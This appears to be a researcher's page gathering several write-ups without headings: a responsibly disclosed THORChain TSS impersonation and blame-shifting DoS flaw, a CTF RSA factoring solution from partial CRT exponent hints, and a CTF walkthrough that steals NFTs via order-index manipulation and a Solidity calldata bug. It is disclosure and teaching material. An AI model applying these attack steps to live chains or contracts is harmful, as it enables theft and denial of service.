rkm0959

https://blog.audit.haechi.io/wyvernv2_2_1day_vulnerabilities

Introduction

On August 3rd, security researchers Jinu and rkm0959 found a vulnerability in THORChain TSS module, and submitted it via ImmuneFi. A malicious node operator (with a small number of malicious nodes) could launch DoS and blame other innocent node operator for it.

Understanding TSS & Usage

First, we need to understand what TSS actually is. Basically, a group of operators will each have their share of the ECDSA private key, and with enough people they can sign a message without revealing their share. THORChain used this to sign outbound transactions.

The cryptography inside TSS has been improving in terms of efficiency, security, and other properties over the years. The paper https://eprint.iacr.org/2021/060 presents a method where if the TSS signing fails, the system can find out which signer had caused the failure. This is called “Identifiable Abort” - and this is great as now the system can penalize the signer who caused the failure. For example, they can remove the rewards for block generation. This is exactly what THORChain did.

Attack Idea & Input Validation

This also means that if we can cause a signing failure while impersonating as other node operators, we can not only cause a DoS, but also do it while getting all the block rewards and placing the blame on others. Let’s take a look at the input validation.

Here, we see that the wireMsg.Routing.From.Id value is validated via a ECDSA signature.

If we want to forge that value, we would need to forge an ECDSA signature for it.

However, the nodes does not perceive the message sender as the cryptographically validated wireMsg.Routing.From.Id value. We see that the wireMsg.Message is unmarshalled, then each msg has its own Routing.From.Id, which is not validated. This is what’s actually used.

Now we can impersonate others. We now have to simply cause a DoS, but this can be easily done by sending invalid ZK proofs in the first stage of the signing process. There were no logs to find out who was the real culprit. We’ll see this in the proof of concept section below.

Proof of Concept

The below section is from the report we sent to the THORChain team.

We modified the tests the THORChain team wrote to demonstrate an exploit.

Exploit Scenario

There are four peers in the test. Their partyID is as follows.

• Index 0, ID 1 ← this peer will be our “victim”, wrongly accused of delaying signing
• Index 1, ID 0 ← this peer is “just a peer”
• Index 2, ID 2 ← this peer is “just a peer”
• Index 3, ID 3 ← this will be the “attacker peer”

In the first round of TSS signing, each peer should submit an appropriate NIZK proof to others. Here, the attacker peer will send an invalid NIZK proof to the two “just a peer”s while impersonating the “victim”. This can be done by simply modifying the tss.MessageRouting part of the message. Meanwhile, the attacker rewrites the ProcessOutCh function as ProcessOutChAttack, which implements the sendBulkMsg function differently, i.e. as sendBulkMsgAttack. In the sendBulkMsgAttack function, we set the wireMsg.Routing.From as the attacker peer’s party ID information, which is required to pass the signature check. Now the other “just a peer”s will check the signature with the attacker peer’s public key, yet think the invalid NIZK proofs originated from the “victim”, causing the damage.

Note that the test function calls SignMessage(), but in the real scenario KeySign() will be called first - but this is not a problem as the situation is the same. We note that every peer receives the request for KeySign() and participants know each other’s peer Index, ID, and public key.

Impact Analysis

The below section is from the report we sent to the THORChain team.

There are two cases - whether the set of operators that join the signing process is given, or not.

1. all participants that have a key share join in signing process

In the signing process, the attacker can cause a Denial of Service by sending an invalid proof while impersonating others in the Round 1 of TSS signing process. Recall that in Threshold ECDSA with Identifiable Abort (https://eprint.iacr.org/2021/060) that the participants can find the ones that caused the failure of signing. By impersonating others, the attacker can not only cause a DoS, but also do so while placing the blame on an innocent node operator. This means that the other operators may lose income as well. 

2. only some participants (in req.SignerPubKeys) join in the signing process

In this case, the attacker controlled node must be inside the req.SignerPubKeys to perform the attack - in this case, we can only temporarily delay the signing process, as eventually req.SignerPubKeys will not contain the attacker-controlled node.

However, the other operators will still be blamed for the failure of signing, which may lead to loss of income. Also, if the attacker controls some reasonable percentage of nodes (that are much less than 1/3) they still may be able to cause a DoS. Let’s crack the numbers.

For example, assume there are 92 thorchain nodes. (https://thorchain.net/nodes)

The system would need at least 62 nodes to join in on the signing process, as shown below.

Therefore, if the attacker had just 3 nodes, the probability that the node set doesn’t contain any attacker controlled node is just binom(89, 62) / binom(92, 62) which is around 3%. This already slows down the system by 30 times. If the attacker controlled 10 nodes, the probability would be on the scale of 10^-6. This would be enough to be considered as a full DoS, done with just 10% of the nodes. Once again, note that it’s impossible to find out the real culprit due to the nature of this vulnerability.

Conclusion

This was regarded as a low severity bug, and we received 2K RUNE for this. We believed that the “impossible to find the real attacker” part was very dangerous, but the team asserted that the $1M minimum bond made the attack hard enough. The bug is now patched.

https://www.secmem.org/blog/2022/09/12/DarkPCS/

https://github.com/rkm0959/rkm0959_presents/blob/main/ZKHash.pdf

https://youtu.be/zimoiVPRnp0

Problem Description

We are given a 2000-bit RSA modulus $n$, with public exponent $e$. 

Here, we have $d_p, d_q < 2^{105}$ where $d_p, d_q$ are inverses of $e$ modulo $p-1, q-1$. 

We are given $d_p \pmod{2^{55}}, d_q \pmod{2^{55}}$ as a hint. We need to factor $n$. 

Solution

In the paper "Twenty Years of Attacks on the RSA Cryptosystem", there's a note that there is a $\tilde{\mathcal{O}}(\sqrt{d_p})$ attack against CRT-RSA. Since we don't know only 50 bits of $d_p$, it's worth thinking about whether the same attack works here. It turns out that it does! 

I explained the attack in my blog a few years ago (Korean), and I turned it into a challenge in picoCTF 2021.  

For completeness, I'll explain the full solution here. The idea is meet in the middle. We see that $$ \prod_{j=0}^{2^{25} - 1} \prod_{i=0}^{2^{25} - 1} \left( m^{e (hint_p + (i \cdot 2^{25} + j) \cdot 2^{55})} - m \right)$$ will be a multiple of $p$. This is because when we hit the pair $(i, j)$ such that $$hint_p + i \cdot 2^{80} + j \cdot 2^{55} = d_p$$ we'll multiply $$m^{ed_p} - m \equiv 0 \pmod{p}$$ into the product. To compute this, we write $$G(x) = \prod_{i=0}^{2^{25} - 1} \left( m^{e (hint_p + i \cdot 2^{80})} \cdot x - m \right)$$ Denoting $$z = m^{e \cdot 2^{55}} \pmod{n}$$ we see that it now suffices to compute $$G(z^0), G(z^1), \cdots G(z^{2^{25} - 1})$$ which is now a polynomial computation problem. To this, there are two methods. 

In the picoCTF, the challenge size was not too large - therefore, less optimal methods worked. At the time, the model solution was divide & conquer + FFT to compute $G$ in $\mathcal{O}(\sqrt{d_p} \log^2 \sqrt{d_p})$ time, and then using multipoint evaluation algorithm to evaluate it over the needed points. This method requires polynomial division, and overall has a quite large overhead. This is implemented in the github link above. 

Here, the size of the challenge is $2^{25}$ with 2000 bit modulus, so we need to be faster. To do so, we compute $G$ using the same method i.e. divider & conquer + FFT, but instead of using generic multipoint evaluation algorithms we note that the points we need to evaluate $G$ is geometric. Therefore, we may utilize the awesome Chirp-Z transform to our advantage. This will enable us to compute all evaluations with a single logarithm factor. This is what we implemented. For more information on Chirp-Z transform, check cp-algorithms.

However, there are quite a lot of obstacles due to large problem size - it took us over 24 hours to actually get the flag.

• first, the FFT size in sagemath is apparently capped, so it can't multiply two polynomials of degree $2^{24}$
• therefore, to multiply large polynomials, we have to split the polynomial and multiply in pieces ourselves
• it turns out that this solution requires at least 128GB of RAM, and even this requires some memory optimizations
•  on a good computing environment, our solution takes about 4~5 hours. 

The computation of $G$ took about 2 hours, and the remaining parts also took around 2 hours. 

Problem Summary

The goal here is to emit the event SendFlag(). To do so, we need to gain control of all three NFTs. 

In the contract file, there is an ERC721 called "TctfNFT" and ERC20 called "TctfToken". We also see that during the initialization the marketplace contract gets 1337 TctfTokens. In the market's constructor, three NFTs are minted, the first to the NFT contract and the other to the market contract. These three NFTs are put on sale on a price of 1, 1337, and some insanely large price. We'll have to get all these NFTs.

Looking at the contract's methods, we see that

• We may get an airdrop of 5 tokens but only once.
• We can create a sell order of NFT under the condition that we have control (approval or owner) over it.
• We can cancel a sell order of NFT under the condition that we have control over it.
• We can purchase an order of NFT with enough tokens. 
• We can purchase an order of NFT with a coupon, but only once. The issuer of the coupon should be the NFT owner, and we have to supply the signature of the issuer for the coupon. For this problem, we pretty much have to know the private key of the issuer. 
• We can use purchaseTest() function only once. Here, the market creates one order and purchases it on its own.

Approach

The constraint gives us some hints on how to approach the problem. 

The first NFT is very cheap, so we can purchase without any trickery. The two functions purchaseTest() and purchaseWithCoupon() are very suspicious, and we can use these only once each. Therefore, each suspicious functions will have us stealing one NFT. Since purchaseWithCoupon() function gives us power to change a price of an order, we should use it to buy the third NFT. The second NFT costs 1337 tokens, and it just happens that the market contract holds 1337 tokens. Therefore, we should use purchaseTest function to steal those tokens. 

Part 1: The purchaseTest()

There are multiple ways to solve this part of the problem. I'll show my solution and sqrtrev's solution. 

The dangerous thing about many of the market's methods is that it takes the order ID as input. If we simply used a mapping for these orders, it would probably not be a problem. However, we use a variable length array to handle our orders. To keep our array length the same as the number of valid orders, we use a nice algorithm which can be seen in _deleteOrder(). When an element of the array is deleted, the element at the back is put at the location of the deleted element. This is also a strategy used in OpenZeppelin's EnumerableSet contracts to keep index of the elements. Now we see the problem - the value at a specific index may change due to element addition and deletion. 

Now let's take a look at the purchaseTest() function again. It creates order, then purchases the order. 

If we look at the createOrder() function again, we see that the only external calls are done to simply check the approval or ownership, but those are done with staticcalls. Therefore, we can't use that to attack. We also see that we can't perform the attack in purchaseOrder(). Thankfully for us, there is an approve call to the NFT address. This can definitely be used to our advantage. 

Basically, we create a dumb NFT and send it to the TctfMarket. We call purchaseTest() with the NFT. 

Inside the approve() call, we will create another order, which sells a dumb NFT that we own at 1337 tokens. Then, we will remove the order that we just created. This will make the order at the order ID equal to the "sell dumb NFT at 1337 token" order. Now the market will happily purchase this new order, sending us 1337 tokens. This gives us enough funds to buy the second NFT anytime we want. 

sqrtrev's solution is much simple, it simply sends the NFT that is being sold at purchaseTest() to our EOA at the approve() call. Inside the purchaseOrder() function, we see that the funds are sent to the owner of the token, so it'll be sent to us. Looking back, I overcomplicated this part of the problem. Part of it is because I took a look at EnumerableSet recently, I guess. It's all very cool ideas, so it's good. 

Part 2: The purchaseWithCoupon()

The first thing we have to notice is that verifyCoupon() is practically a view function. The getOrder() function inside is  view, so it'll be done with staticcall. The ownerOf() function is also view, so staticcall will be used. Therefore, we can't use the same idea to re-enter with a different order at coupon's order ID. Therefore, we can't do anything malicious until the token transfers come in.

We initially thought that the ideas from Part 1 still work, so I wrote all scripts and then realized that it doesn't work. 

I believed that a compiler bug must be the way to go, and began searching on solidity's list of known bugs.

Then I came across https://blog.soliditylang.org/2022/08/08/calldata-tuple-reencoding-head-overflow-bug/

Literally everything matched the challenge - 

• This solidity bug was patched in 0.8.16. The challenge uses 0.8.15.
• It's stated that the last component must be static-sized array. It is bytes32[2].
• It's stated that one dynamic component is needed. There is a bytes value. 
• The bug clears the first 32 bytes of the first dynamic tuple. That happens to be order ID.
• In the blog, it is stated that "Plausible attacks against affected contracts can only occur in situations where the contract accepts a static calldata array as a part of its input and forwards it to another external call without modifying the content." This is exactly what happens in purchaseWithCoupon() and verifyCoupon(). The SignedCoupon struct is sent in as a calldata, and it's directly forwarded.

Some testing shows that if we send a SignedCoupon with order ID 1, it's forwarded to verifyCoupon with order ID 0. 

This means that if we have some order that we control at order 0 and the order for the third NFT at some other place, we can use the coupon. This is because the order used to verify the coupon is the order 0, which we own the NFT of. This means that we can sign our own coupon, but use it on the order for the third NFT with the solidity bug. All that's left is to combine these.

Part 3: Combining Everything

We'll denote the order for the NFTs that we need to get as order #1, #2, #3. We note that for the bug at Part 2, we need a order that we control at the order ID 0. With this in mind, we will set up our attack as follows. We'll use sqrtrev's approach on Part 1.

• Get the TctfToken airdrop. Currently, the orders on the market is [#1, #2, #3].
• Perform sqrtrev's attack. We'll get 1337 tokens, and the orders on the market is still [#1, #2, #3].
• We'll buy NFT #2 with our 1337 tokens, and the orders on the market is [#1, #3]
• We'll mint a dumb NFT to ourself, and create an order. The orders on the market is [#1, #3, us].
• Now we'll buy NFT #1 with 1 token. The orders on the market is [us, #3].
• Now the order ID 0 is an order we control - so the attack from Part 2 works. We buy NFT #3 with 1 token. 

This will give us the flag. Foundry testing is very easy to do, but hardhat scripting was a bit painful. It can be done though.

https://blog.chainsafe.io/vulnerability-update-security-improvements-to-chainbridge-erc-721-handler-c3d1425e71c

HAECHI LABS에서 ChainBridge 보안감사하다가 제가 찾은 취약점인데, 한 2~3년 정도 존재했던 버그입니다. 

https://twitter.com/haechi_audit/status/1564847037811552256

https://www.secmem.org/blog/2022/08/19/GaussianSampler/ 

수식이 깨져서 고친 PR이 올라가있는 상태입니다.